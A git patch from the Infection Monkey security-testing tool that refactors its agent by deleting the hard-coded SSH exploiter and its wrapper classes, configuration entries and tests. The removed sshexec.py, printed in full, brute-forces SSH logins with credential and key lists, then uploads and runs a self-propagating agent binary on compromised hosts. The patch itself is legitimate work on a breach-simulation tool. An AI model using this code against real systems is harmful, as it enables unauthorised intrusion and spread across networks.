From 55e158e3b3ea481ff9cb3baacb20ebbf55419d03 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Jul 2023 20:18:05 +0000 Subject: [PATCH 01/15] Agent: Remove hard-coded SSH exploiter --- monkey/common/__init__.py | 3 - .../default_agent_configuration.py | 7 +- .../common/hard_coded_manifests/__init__.py | 1 - .../hard_coded_exploiter_manifests.py | 21 -- .../infection_monkey/exploit/HostExploiter.py | 168 --------- monkey/infection_monkey/exploit/__init__.py | 1 - .../exploit/exploiter_wrapper.py | 81 ---- monkey/infection_monkey/exploit/sshexec.py | 347 ------------------ monkey/infection_monkey/master/exploiter.py | 11 - monkey/infection_monkey/monkey.py | 18 +- .../cc/resources/agent_plugins_manifest.py | 5 +- .../agent_configuration_schema_compiler.py | 18 +- .../hard_coded_schemas/__init__.py | 1 - .../hard_coded_exploiter_schemas.py | 6 - .../exploitations/monkey_exploitation.py | 2 - .../cc/services/reporting/report.py | 3 - .../common/example_agent_configuration.py | 2 +- .../data_for_tests/agent_plugin/manifests.py | 3 +- .../test_agent_sub_configurations.py | 1 - .../infection_monkey/master/test_exploiter.py | 29 +- .../exploitations/test_monkey_exploitation.py | 35 +- 21 files changed, 24 insertions(+), 739 deletions(-) delete mode 100644 monkey/common/hard_coded_manifests/hard_coded_exploiter_manifests.py delete mode 100644 monkey/infection_monkey/exploit/HostExploiter.py delete mode 100644 monkey/infection_monkey/exploit/exploiter_wrapper.py delete mode 100644 monkey/infection_monkey/exploit/sshexec.py delete mode 100644 monkey/monkey_island/cc/services/agent_configuration_service/hard_coded_schemas/hard_coded_exploiter_schemas.py diff --git a/monkey/common/__init__.py b/monkey/common/__init__.py index 400489203e0..a1464e9da2a 100644 --- a/monkey/common/__init__.py +++ b/monkey/common/__init__.py @@ -8,6 +8,3 @@ from .agent_registration_data import AgentRegistrationData from .agent_signals import AgentSignals from .agent_heartbeat import AgentHeartbeat -from .hard_coded_manifests import ( - HARD_CODED_EXPLOITER_MANIFESTS, -) diff --git a/monkey/common/agent_configuration/default_agent_configuration.py b/monkey/common/agent_configuration/default_agent_configuration.py index 1136e932b49..6b623900124 100644 --- a/monkey/common/agent_configuration/default_agent_configuration.py +++ b/monkey/common/agent_configuration/default_agent_configuration.py @@ -69,14 +69,9 @@ EXPLOITATION_OPTIONS_CONFIGURATION = ExploitationOptionsConfiguration(http_ports=HTTP_PORTS) -# Order is preserved and agent will run exploiters in this sequence -EXPLOITERS: Dict[str, Dict] = { - "SSHExploiter": {}, -} - EXPLOITATION_CONFIGURATION = ExploitationConfiguration( options=EXPLOITATION_OPTIONS_CONFIGURATION, - exploiters=EXPLOITERS, + exploiters={}, ) PROPAGATION_CONFIGURATION = PropagationConfiguration( diff --git a/monkey/common/hard_coded_manifests/__init__.py b/monkey/common/hard_coded_manifests/__init__.py index bea5929bbd9..511cad097d8 100644 --- a/monkey/common/hard_coded_manifests/__init__.py +++ b/monkey/common/hard_coded_manifests/__init__.py @@ -1,2 +1 @@ -from .hard_coded_exploiter_manifests import HARD_CODED_EXPLOITER_MANIFESTS from .hard_coded_payloads_manifests import HARD_CODED_PAYLOADS_MANIFESTS diff --git a/monkey/common/hard_coded_manifests/hard_coded_exploiter_manifests.py b/monkey/common/hard_coded_manifests/hard_coded_exploiter_manifests.py deleted file mode 100644 index 71ca6d01e9c..00000000000 --- a/monkey/common/hard_coded_manifests/hard_coded_exploiter_manifests.py +++ /dev/null @@ -1,21 +0,0 @@ -from common.agent_plugins import AgentPluginManifest, AgentPluginType -from common.operating_system import OperatingSystem - -HARD_CODED_EXPLOITER_MANIFESTS = { - "SSHExploiter": AgentPluginManifest( - name="SSHExploiter", - plugin_type=AgentPluginType.EXPLOITER, - supported_operating_systems=(OperatingSystem.LINUX, OperatingSystem.WINDOWS), - target_operating_systems=(OperatingSystem.LINUX,), - title="SSH Exploiter", - version="1.0.0", - description="Attempts a brute-force attack against SSH using known credentials, " - "including SSH keys", - link_to_documentation="https://techdocs.akamai.com/infection-monkey/docs/sshexec/", - safe=True, - remediation_suggestion="Change user passwords to a complex one-use password that is not " - "shared with other computers on the network. Protect private keys with a pass phrase.\n\n" - "The machine is vulnerable to an SSH attack.\n" - "An Infection Monkey Agent authenticated over the SSH protocol.", - ), -} diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py deleted file mode 100644 index 2b128456e3d..00000000000 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ /dev/null @@ -1,168 +0,0 @@ -import logging -from abc import abstractmethod -from datetime import datetime -from time import time -from typing import Dict, Sequence, Tuple - -from common.agent_events import ExploitationEvent, PropagationEvent -from common.event_queue import IAgentEventQueue -from common.types import AgentID, Event -from common.utils.exceptions import FailedExploitationError -from infection_monkey.exploit import IAgentOTPProvider -from infection_monkey.i_puppet import ExploiterResultData, TargetHost -from infection_monkey.network import TCPPortSelector - -from . import IAgentBinaryRepository - -logger = logging.getLogger(__name__) - - -class HostExploiter: - @property - @abstractmethod - def _EXPLOITED_SERVICE(self): - pass - - @property - @abstractmethod - def _EXPLOITER_TAGS(self) -> Tuple[str, ...]: - pass - - @property - @abstractmethod - def _PROPAGATION_TAGS(self) -> Tuple[str, ...]: - pass - - def __init__(self): - self.agent_id = None - self.exploit_info = { - "display_name": self._EXPLOITED_SERVICE, - "started": "", - "finished": "", - "vulnerable_urls": [], - "vulnerable_ports": [], - "executed_cmds": [], - } - self.exploit_attempts = [] - self.host = None - self.agent_event_queue = None - self.options = {} - self.exploit_result = {} - self.servers = [] - - def set_start_time(self): - self.exploit_info["started"] = datetime.now().isoformat() - - def set_finish_time(self): - self.exploit_info["finished"] = datetime.now().isoformat() - - def report_login_attempt(self, result, user, password="", lm_hash="", ntlm_hash="", ssh_key=""): - self.exploit_attempts.append( - { - "result": result, - "user": user, - "password": password, - "lm_hash": lm_hash, - "ntlm_hash": ntlm_hash, - "ssh_key": ssh_key, - } - ) - - def exploit_host( - self, - agent_id: AgentID, - host: TargetHost, - servers: Sequence[str], - current_depth: int, - agent_event_queue: IAgentEventQueue, - agent_binary_repository: IAgentBinaryRepository, - tcp_port_selector: TCPPortSelector, - options: Dict, - interrupt: Event, - otp_provider: IAgentOTPProvider, - ): - self.agent_id = agent_id - self.host = host - self.servers = servers - self.current_depth = current_depth - self.agent_event_queue = agent_event_queue - self.agent_binary_repository = agent_binary_repository - self.tcp_port_selector = tcp_port_selector - self.options = options - self.interrupt = interrupt - self.otp_provider = otp_provider - - self.pre_exploit() - try: - return self._exploit_host() - except FailedExploitationError as e: - logger.debug(f"Exploiter failed: {e}.") - raise e - except Exception as e: - logger.error("Exception in exploit_host", exc_info=True) - raise e - finally: - self.post_exploit() - - def pre_exploit(self): - self.exploit_result = ExploiterResultData( - os=self.host.operating_system, info=self.exploit_info - ) - self.set_start_time() - - def _is_interrupted(self): - return self.interrupt.is_set() - - def post_exploit(self): - self.set_finish_time() - - @abstractmethod - def _exploit_host(self): - raise NotImplementedError() - - def add_vuln_port(self, port): - self.exploit_info["vulnerable_ports"].append(port) - - def add_executed_cmd(self, cmd): - """ - Appends command to exploiter's info. - :param cmd: String of executed command. e.g. 'echo Example' - """ - powershell = True if "powershell" in cmd.lower() else False - self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell}) - - def _publish_exploitation_event( - self, - time: float = time(), - success: bool = False, - tags: Tuple[str, ...] = tuple(), - error_message: str = "", - ): - exploitation_event = ExploitationEvent( - source=self.agent_id, - target=self.host.ip, - success=success, - exploiter_name=self.__class__.__name__, - error_message=error_message, - timestamp=time, - tags=frozenset(tags or self._EXPLOITER_TAGS), - ) - self.agent_event_queue.publish(exploitation_event) - - def _publish_propagation_event( - self, - time: float = time(), - success: bool = False, - tags: Tuple[str, ...] = tuple(), - error_message: str = "", - ): - propagation_event = PropagationEvent( - source=self.agent_id, - target=self.host.ip, - success=success, - exploiter_name=self.__class__.__name__, - error_message=error_message, - timestamp=time, - tags=frozenset(tags or self._PROPAGATION_TAGS), - ) - self.agent_event_queue.publish(propagation_event) diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 350f8b794b8..860283d4269 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -3,4 +3,3 @@ from .polymorphic_agent_binary_repository_decorator import PolymorphicAgentBinaryRepositoryDecorator from .island_api_agent_otp_provider import IslandAPIAgentOTPProvider from .i_agent_otp_provider import IAgentOTPProvider -from .exploiter_wrapper import ExploiterWrapper diff --git a/monkey/infection_monkey/exploit/exploiter_wrapper.py b/monkey/infection_monkey/exploit/exploiter_wrapper.py deleted file mode 100644 index d170f0d709e..00000000000 --- a/monkey/infection_monkey/exploit/exploiter_wrapper.py +++ /dev/null @@ -1,81 +0,0 @@ -from typing import Dict, Sequence, Type - -from common.event_queue import IAgentEventQueue -from common.types import AgentID, Event -from infection_monkey.i_puppet import TargetHost -from infection_monkey.network import TCPPortSelector - -from . import IAgentBinaryRepository, IAgentOTPProvider -from .HostExploiter import HostExploiter - - -class ExploiterWrapper: - """ - This class is a temporary measure to allow existing exploiters to play nicely within the - confines of the IPuppet interface. It keeps a reference to an IAgentEventQueue that is passed - to all exploiters. Additionally, it constructs a new instance of the exploiter for each call to - exploit_host(). When exploiters are refactored into plugins, this class will likely go away. - """ - - class Inner: - def __init__( - self, - exploit_class: Type[HostExploiter], - agent_id: AgentID, - event_queue: IAgentEventQueue, - agent_binary_repository: IAgentBinaryRepository, - tcp_port_selector: TCPPortSelector, - otp_provider: IAgentOTPProvider, - ): - self._agent_id = agent_id - self._exploit_class = exploit_class - self._event_queue = event_queue - self._agent_binary_repository = agent_binary_repository - self._tcp_port_selector = tcp_port_selector - self._otp_provider = otp_provider - - def run( - self, - host: TargetHost, - servers: Sequence[str], - current_depth: int, - options: Dict, - interrupt: Event, - ): - exploiter = self._exploit_class() - return exploiter.exploit_host( - self._agent_id, - host, - servers, - current_depth, - self._event_queue, - self._agent_binary_repository, - self._tcp_port_selector, - options, - interrupt, - self._otp_provider, - ) - - def __init__( - self, - agent_id: AgentID, - event_queue: IAgentEventQueue, - agent_binary_repository: IAgentBinaryRepository, - tcp_port_selector: TCPPortSelector, - otp_provider: IAgentOTPProvider, - ): - self._agent_id = agent_id - self._event_queue = event_queue - self._agent_binary_repository = agent_binary_repository - self._tcp_port_selector = tcp_port_selector - self._otp_provider = otp_provider - - def wrap(self, exploit_class: Type[HostExploiter]): - return ExploiterWrapper.Inner( - exploit_class, - self._agent_id, - self._event_queue, - self._agent_binary_repository, - self._tcp_port_selector, - self._otp_provider, - ) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py deleted file mode 100644 index 69093ca6784..00000000000 --- a/monkey/infection_monkey/exploit/sshexec.py +++ /dev/null @@ -1,347 +0,0 @@ -import io -import logging -from ipaddress import IPv4Address -from pathlib import PurePath -from time import time -from typing import Optional - -import paramiko -from egg_timer import EggTimer - -from common import OperatingSystem -from common.agent_events import TCPScanEvent -from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE -from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT -from common.credentials import get_plaintext -from common.tags import ( - BRUTE_FORCE_T1110_TAG, - FILE_AND_DIRECTORY_PERMISSIONS_MODIFICATION_T1222_TAG, - INGRESS_TOOL_TRANSFER_T1105_TAG, - REMOTE_SERVICES_T1021_TAG, -) -from common.types import NetworkPort, NetworkService, PortStatus -from common.utils.attack_utils import ScanStatus -from common.utils.exceptions import FailedExploitationError -from infection_monkey.exploit import RetrievalError -from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import get_agent_dst_path -from infection_monkey.i_puppet import ExploiterResultData -from infection_monkey.model import MONKEY_ARG -from infection_monkey.network.tools import check_tcp_port -from infection_monkey.utils.brute_force import generate_identity_secret_pairs -from infection_monkey.utils.commands import build_monkey_commandline -from infection_monkey.utils.threading import interruptible_iter - -logger = logging.getLogger(__name__) -SSH_PORT = NetworkPort(22) -SSH_CONNECT_TIMEOUT = LONG_REQUEST_TIMEOUT -SSH_AUTH_TIMEOUT = LONG_REQUEST_TIMEOUT -SSH_BANNER_TIMEOUT = MEDIUM_REQUEST_TIMEOUT -SSH_EXEC_TIMEOUT = LONG_REQUEST_TIMEOUT -SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT - -TRANSFER_UPDATE_RATE = 15 -SSH_EXPLOITER_TAG = "ssh-exploiter" - - -class SSHExploiter(HostExploiter): - _EXPLOITED_SERVICE = "SSH" - - _EXPLOITER_TAGS = (SSH_EXPLOITER_TAG, BRUTE_FORCE_T1110_TAG, REMOTE_SERVICES_T1021_TAG) - _PROPAGATION_TAGS = ( - SSH_EXPLOITER_TAG, - INGRESS_TOOL_TRANSFER_T1105_TAG, - FILE_AND_DIRECTORY_PERMISSIONS_MODIFICATION_T1222_TAG, - ) - - def __init__(self): - super(SSHExploiter, self).__init__() - - def log_transfer(self, transferred, total): - timer = EggTimer() - timer.set(TRANSFER_UPDATE_RATE) - - if timer.is_expired(): - logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) - timer.reset() - - def exploit_with_ssh_keys(self, port: NetworkPort) -> paramiko.SSHClient: - user_ssh_key_pairs = generate_identity_secret_pairs( - identities=self.options["credentials"]["exploit_user_list"], - secrets=self.options["credentials"]["exploit_ssh_keys"], - ) - - ssh_key_pairs_iterator = interruptible_iter( - user_ssh_key_pairs, - self.interrupt, - "SSH exploiter has been interrupted", - logging.INFO, - ) - - for user, ssh_key_pair in ssh_key_pairs_iterator: - # Creating file-like private key for paramiko - pkey = io.StringIO(get_plaintext(ssh_key_pair["private_key"])) - ssh_string = "%s@%s" % (user, self.host.ip) - - ssh = paramiko.SSHClient() - ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) - try: - pkey = paramiko.RSAKey.from_private_key(pkey) - except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException): - logger.error("Failed reading ssh key") - - timestamp = time() - try: - ssh.connect( - str(self.host.ip), - username=user, - pkey=pkey, - port=int(port), - timeout=SSH_CONNECT_TIMEOUT, - auth_timeout=SSH_AUTH_TIMEOUT, - banner_timeout=SSH_BANNER_TIMEOUT, - channel_timeout=SSH_CHANNEL_TIMEOUT, - allow_agent=False, - ) - logger.debug( - "Successfully logged in %s using %s users private key", self.host.ip, ssh_string - ) - self.add_vuln_port(port) - self.exploit_result.exploitation_success = True - self._publish_exploitation_event(timestamp, True) - self.report_login_attempt(True, user, ssh_key=ssh_string) - return ssh - except paramiko.AuthenticationException as err: - ssh.close() - error_message = ( - f"Failed logging into victim {self.host.ip} with {ssh_string} " - f"private key: {err}" - ) - logger.info(error_message) - self._publish_exploitation_event(timestamp, False, error_message=error_message) - self.report_login_attempt(False, user, ssh_key=ssh_string) - continue - except Exception as err: - error_message = ( - f"Unexpected error while attempting to login to {ssh_string} with ssh key: " - f"{err}" - ) - logger.error(error_message) - self._publish_exploitation_event(timestamp, False, error_message=error_message) - self.report_login_attempt(False, user, ssh_key=ssh_string) - - raise FailedExploitationError - - def exploit_with_login_creds(self, port: NetworkPort) -> paramiko.SSHClient: - user_password_pairs = generate_identity_secret_pairs( - identities=self.options["credentials"]["exploit_user_list"], - secrets=self.options["credentials"]["exploit_password_list"], - ) - - credentials_iterator = interruptible_iter( - user_password_pairs, - self.interrupt, - "SSH exploiter has been interrupted", - logging.INFO, - ) - - for user, current_password in credentials_iterator: - ssh = paramiko.SSHClient() - ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) - - timestamp = time() - try: - ssh.connect( - str(self.host.ip), - username=user, - password=get_plaintext(current_password), - port=int(port), - timeout=SSH_CONNECT_TIMEOUT, - auth_timeout=SSH_AUTH_TIMEOUT, - banner_timeout=SSH_BANNER_TIMEOUT, - channel_timeout=SSH_CHANNEL_TIMEOUT, - allow_agent=False, - ) - - logger.debug("Successfully logged in %r using SSH. User: %s", self.host.ip, user) - self.add_vuln_port(port) - self.exploit_result.exploitation_success = True - self._publish_exploitation_event(timestamp, True) - self.report_login_attempt(True, user, current_password) - return ssh - - except paramiko.AuthenticationException as err: - error_message = ( - f"Failed logging into victim {self.host.ip} with user: {user}: {err}" - ) - logger.debug(error_message) - self._publish_exploitation_event(timestamp, False, error_message=error_message) - self.report_login_attempt(False, user, current_password) - ssh.close() - continue - except Exception as err: - error_message = ( - f"Unexpected error while attempting to login to {self.host.ip} with password: " - f"{err}" - ) - logger.error(error_message) - self._publish_exploitation_event(timestamp, False, error_message=error_message) - self.report_login_attempt(False, user, current_password) - - raise FailedExploitationError - - def _exploit_host(self) -> ExploiterResultData: - port = self._get_ssh_port() - - if not self._is_port_open(self.host.ip, port): - self.exploit_result.error_message = f"SSH port is closed on {self.host.ip}, skipping" - logger.info(self.exploit_result.error_message) - return self.exploit_result - - try: - ssh = self._exploit(port) - except FailedExploitationError as err: - self.exploit_result.error_message = str(err) - logger.error(self.exploit_result.error_message) - - return self.exploit_result - - if self._is_interrupted(): - return self.exploit_result - - try: - self._propagate(ssh) - except (FailedExploitationError, RuntimeError) as err: - self.exploit_result.error_message = str(err) - logger.error(self.exploit_result.error_message) - finally: - ssh.close() - return self.exploit_result - - def _exploit(self, port: NetworkPort) -> paramiko.SSHClient: - try: - ssh = self.exploit_with_ssh_keys(port) - except FailedExploitationError: - try: - ssh = self.exploit_with_login_creds(port) - except FailedExploitationError: - raise FailedExploitationError("Exploiter SSHExploiter is giving up...") - - return ssh - - def _propagate(self, ssh: paramiko.SSHClient): - agent_binary_file_object = self._get_agent_binary(ssh) - if agent_binary_file_object is None: - raise RuntimeError(f"Can't find suitable monkey executable for host {self.host.ip}") - - if self._is_interrupted(): - raise RuntimeError("Propagation was interrupted") - - monkey_path_on_victim = get_agent_dst_path(self.host) - status = self._upload_agent_binary(ssh, agent_binary_file_object, monkey_path_on_victim) - - if status == ScanStatus.SCANNED: - raise FailedExploitationError(self.exploit_result.error_message) - - try: - cmdline = f"{AGENT_OTP_ENVIRONMENT_VARIABLE}={self.otp_provider.get_otp()} " - cmdline += f"{monkey_path_on_victim} {MONKEY_ARG}" - cmdline += build_monkey_commandline(self.agent_id, self.servers, self.current_depth + 1) - cmdline += " > /dev/null 2>&1 &" - timestamp = time() - ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT) - - logger.info( - "Executed monkey '%s' on remote victim %r (cmdline=%r)", - monkey_path_on_victim, - self.host.ip, - cmdline, - ) - - self.exploit_result.propagation_success = True - self._publish_propagation_event(timestamp, True) - self.add_executed_cmd(cmdline) - - except Exception as exc: - error_message = f"Error running monkey on victim {self.host.ip}: ({exc})" - self._publish_propagation_event(timestamp, False, error_message=error_message) - raise FailedExploitationError(error_message) - - def _is_port_open(self, ip: IPv4Address, port: NetworkPort) -> bool: - is_open, _ = check_tcp_port(ip, port) - status = PortStatus.OPEN if is_open else PortStatus.CLOSED - self.agent_event_queue.publish( - TCPScanEvent(source=self.agent_id, target=ip, ports={port: status}) - ) - - return is_open - - def _get_ssh_port(self) -> NetworkPort: - port = SSH_PORT - - # if ssh banner found on different port, use that port. - for psd in self.host.ports_status.tcp_ports.values(): - if psd.service == NetworkService.SSH: - port = psd.port - - return port - - def _get_victim_os(self, ssh: paramiko.SSHClient) -> bool: - try: - _, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT) - uname_os = stdout.read().lower().strip().decode() - if "linux" in uname_os: - self.exploit_result.os = OperatingSystem.LINUX - self.host.operating_system = OperatingSystem.LINUX - else: - self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}" - - if not uname_os: - logger.error(self.exploit_result.error_message) - return False - except Exception as exc: - logger.error(f"Error running uname os command on victim {self.host.ip}: ({exc})") - return False - return True - - def _get_agent_binary(self, ssh: paramiko.SSHClient) -> Optional[io.BytesIO]: - if not self.host.operating_system and not self._get_victim_os(ssh): - return None - - try: - agent_binary_file_object = self.agent_binary_repository.get_agent_binary( - self.exploit_result.os - ) - except RetrievalError: - return None - - return agent_binary_file_object - - def _upload_agent_binary( - self, - ssh: paramiko.SSHClient, - agent_binary_file_object: io.BytesIO, - monkey_path_on_victim: PurePath, - ) -> ScanStatus: - try: - timestamp = time() - with ssh.open_sftp() as ftp: - ftp.putfo( - agent_binary_file_object, - str(monkey_path_on_victim), - file_size=len(agent_binary_file_object.getbuffer()), - callback=self.log_transfer, - ) - self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim) - - return ScanStatus.USED - except Exception as exc: - error_message = f"Error uploading file into victim {self.host.ip}: ({exc})" - self._publish_propagation_event(timestamp, False, error_message=error_message) - self.exploit_result.error_message = error_message - return ScanStatus.SCANNED - - def _set_executable_bit_on_agent_binary( - self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath - ): - ftp.chmod(str(monkey_path_on_victim), 0o700) diff --git a/monkey/infection_monkey/master/exploiter.py b/monkey/infection_monkey/master/exploiter.py index eeabb69d19d..19dd26426f0 100644 --- a/monkey/infection_monkey/master/exploiter.py +++ b/monkey/infection_monkey/master/exploiter.py @@ -17,10 +17,6 @@ ExploiterName = str Callback = Callable[[ExploiterName, TargetHost, ExploiterResultData], None] -HARD_CODED_EXPLOITERS_REQUIRING_CREDENTIALS = [ - "SSHExploiter", -] - class Exploiter: def __init__( @@ -145,13 +141,6 @@ def _run_exploiter( ) -> ExploiterResultData: logger.debug(f"Attempting to use {exploiter_name} on {target_host.ip}") - # Hard-coded exploiters use the legacy method of retrieving credentials. - # Exploiter plugins will obtain credentials via a PropagationCredentialsRepository - # passed into the plugin constructor - if exploiter_name in HARD_CODED_EXPLOITERS_REQUIRING_CREDENTIALS: - credentials = self._get_credentials_for_propagation() - options = {"credentials": credentials, **options} - try: return self._puppet.exploit_host( exploiter_name, target_host, current_depth, servers, options, stop diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 5bc780079bc..9f40e66adeb 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -17,7 +17,7 @@ from serpentarium import PluginLoader, PluginThreadName from serpentarium.logging import configure_child_process_logger -from common import HARD_CODED_EXPLOITER_MANIFESTS, OperatingSystem +from common import OperatingSystem from common.agent_event_serializers import ( AgentEventSerializerRegistry, register_common_agent_event_serializers, @@ -47,12 +47,10 @@ ) from infection_monkey.exploit import ( CachingAgentBinaryRepository, - ExploiterWrapper, IAgentBinaryRepository, IslandAPIAgentOTPProvider, PolymorphicAgentBinaryRepositoryDecorator, ) -from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.i_master import IMaster from infection_monkey.i_puppet import IPuppet from infection_monkey.island_api_client import ( @@ -434,7 +432,7 @@ def _build_puppet(self, operating_system: OperatingSystem) -> IPuppet: plugin_compatibility_verifier = PluginCompatibilityVerifier( self._island_api_client, self._operating_system, - HARD_CODED_EXPLOITER_MANIFESTS, + {}, ) puppet = Puppet( self._agent_event_queue, plugin_registry, plugin_compatibility_verifier, self._agent_id @@ -445,18 +443,6 @@ def _build_puppet(self, operating_system: OperatingSystem) -> IPuppet: puppet.load_plugin(AgentPluginType.FINGERPRINTER, "smb", SMBFingerprinter()) puppet.load_plugin(AgentPluginType.FINGERPRINTER, "ssh", SSHFingerprinter()) - exploit_wrapper = ExploiterWrapper( - self._agent_id, - self._agent_event_queue, - agent_binary_repository, - self._tcp_port_selector, - otp_provider, - ) - - puppet.load_plugin( - AgentPluginType.EXPLOITER, "SSHExploiter", exploit_wrapper.wrap(SSHExploiter) - ) - puppet.load_plugin( AgentPluginType.PAYLOAD, "ransomware", diff --git a/monkey/monkey_island/cc/resources/agent_plugins_manifest.py b/monkey/monkey_island/cc/resources/agent_plugins_manifest.py index fd1e2bf5284..96f74b3c33a 100644 --- a/monkey/monkey_island/cc/resources/agent_plugins_manifest.py +++ b/monkey/monkey_island/cc/resources/agent_plugins_manifest.py @@ -4,7 +4,6 @@ from flask import make_response from flask_security import auth_token_required, roles_accepted -from common import HARD_CODED_EXPLOITER_MANIFESTS from common.agent_plugins import AgentPluginManifest, AgentPluginType from common.hard_coded_manifests.hard_coded_fingerprinter_manifests import ( HARD_CODED_FINGERPRINTER_MANIFESTS, @@ -52,9 +51,7 @@ def _get_plugin_manifest(self, plugin_type: AgentPluginType, name: str) -> Agent try: return plugin_manifests[plugin_type][name] except KeyError as err: - if plugin_type == AgentPluginType.EXPLOITER: - return HARD_CODED_EXPLOITER_MANIFESTS[name] - elif plugin_type == AgentPluginType.FINGERPRINTER: + if plugin_type == AgentPluginType.FINGERPRINTER: return HARD_CODED_FINGERPRINTER_MANIFESTS[name] else: raise err diff --git a/monkey/monkey_island/cc/services/agent_configuration_service/agent_configuration_schema_compiler.py b/monkey/monkey_island/cc/services/agent_configuration_service/agent_configuration_schema_compiler.py index 87df65116e3..87bf7af6b1b 100644 --- a/monkey/monkey_island/cc/services/agent_configuration_service/agent_configuration_schema_compiler.py +++ b/monkey/monkey_island/cc/services/agent_configuration_service/agent_configuration_schema_compiler.py @@ -3,7 +3,6 @@ import dpath -from common import HARD_CODED_EXPLOITER_MANIFESTS from common.agent_configuration import AgentConfiguration from common.agent_plugins import AgentPluginManifest, AgentPluginType from common.hard_coded_manifests import HARD_CODED_PAYLOADS_MANIFESTS @@ -12,11 +11,7 @@ ) from monkey_island.cc.repositories import IAgentPluginRepository -from .hard_coded_schemas import ( - HARD_CODED_EXPLOITER_SCHEMAS, - HARD_CODED_FINGERPRINTER_SCHEMAS, - HARD_CODED_PAYLOADS_SCHEMAS, -) +from .hard_coded_schemas import HARD_CODED_FINGERPRINTER_SCHEMAS, HARD_CODED_PAYLOADS_SCHEMAS PLUGIN_PATH_IN_SCHEMA = { AgentPluginType.EXPLOITER: "definitions.ExploitationConfiguration.properties.exploiters", @@ -61,7 +56,6 @@ def _add_plugins(self, schema: Dict[str, Any]) -> Dict[str, Any]: return schema def _add_hard_coded_plugins(self, schema: Dict[str, Any]) -> Dict[str, Any]: - schema = self._add_non_plugin_exploiters(schema) schema = self._add_non_plugin_fingerprinters(schema) schema = self._add_non_plugin_payloads(schema) return schema @@ -80,16 +74,6 @@ def _add_manifests_to_plugins_schema( schema[plugin_name].update(manifest.dict(simplify=True)) return schema - def _add_non_plugin_exploiters(self, schema: Dict[str, Any]) -> Dict[str, Any]: - properties = dpath.get( - schema, PLUGIN_PATH_IN_SCHEMA[AgentPluginType.EXPLOITER] + ".properties", "." - ) - exploiter_schemas = self._add_manifests_to_plugins_schema( - HARD_CODED_EXPLOITER_SCHEMAS, HARD_CODED_EXPLOITER_MANIFESTS - ) - properties.update(exploiter_schemas) - return schema - def _add_non_plugin_fingerprinters(self, schema: Dict[str, Any]) -> Dict[str, Any]: properties = dpath.get( schema, PLUGIN_PATH_IN_SCHEMA[AgentPluginType.FINGERPRINTER] + ".properties", "." diff --git a/monkey/monkey_island/cc/services/agent_configuration_service/hard_coded_schemas/__init__.py b/monkey/monkey_island/cc/services/agent_configuration_service/hard_coded_schemas/__init__.py index 714dac4433f..b5b2e2a6611 100644 --- a/monkey/monkey_island/cc/services/agent_configuration_service/hard_coded_schemas/__init__.py +++ b/monkey/monkey_island/cc/services/agent_configuration_service/hard_coded_schemas/__init__.py @@ -1,3 +1,2 @@ -from .hard_coded_exploiter_schemas import HARD_CODED_EXPLOITER_SCHEMAS from .hard_coded_fingerprinter_schemas import HARD_CODED_FINGERPRINTER_SCHEMAS from .hard_coded_payloads_schemas import HARD_CODED_PAYLOADS_SCHEMAS diff --git a/monkey/monkey_island/cc/services/agent_configuration_service/hard_coded_schemas/hard_coded_exploiter_schemas.py b/monkey/monkey_island/cc/services/agent_configuration_service/hard_coded_schemas/hard_coded_exploiter_schemas.py deleted file mode 100644 index 35332da0140..00000000000 --- a/monkey/monkey_island/cc/services/agent_configuration_service/hard_coded_schemas/hard_coded_exploiter_schemas.py +++ /dev/null @@ -1,6 +0,0 @@ -HARD_CODED_EXPLOITER_SCHEMAS = { - "SSHExploiter": { - "type": "object", - "properties": {}, - }, -} diff --git a/monkey/monkey_island/cc/services/reporting/exploitations/monkey_exploitation.py b/monkey/monkey_island/cc/services/reporting/exploitations/monkey_exploitation.py index 407cc7245cc..87b0f269a7b 100644 --- a/monkey/monkey_island/cc/services/reporting/exploitations/monkey_exploitation.py +++ b/monkey/monkey_island/cc/services/reporting/exploitations/monkey_exploitation.py @@ -3,7 +3,6 @@ from dataclasses import dataclass from typing import Dict, List, Sequence -from common import HARD_CODED_EXPLOITER_MANIFESTS from common.agent_events import ExploitationEvent from common.agent_plugins import AgentPluginManifest, AgentPluginType from monkey_island.cc.models import Machine @@ -59,7 +58,6 @@ def get_exploits_used_on_node( successful_exploits = [e for e in successful_exploits if e.target in machine_ips and e.success] plugin_exploiter_manifests = deepcopy(plugin_manifests.get(AgentPluginType.EXPLOITER, {})) - plugin_exploiter_manifests.update(HARD_CODED_EXPLOITER_MANIFESTS) exploiter_titles = set() diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 2d9bbcea082..a5e973840cd 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -12,7 +12,6 @@ from threading import Lock from typing import Any, DefaultDict, Dict, Iterable, List, Optional, Sequence, Set, Type, Union -from common import HARD_CODED_EXPLOITER_MANIFESTS from common.agent_events import ( AbstractAgentEvent, ExploitationEvent, @@ -532,8 +531,6 @@ def _get_exploiter_manifests(cls) -> Dict[str, AgentPluginManifest]: if not 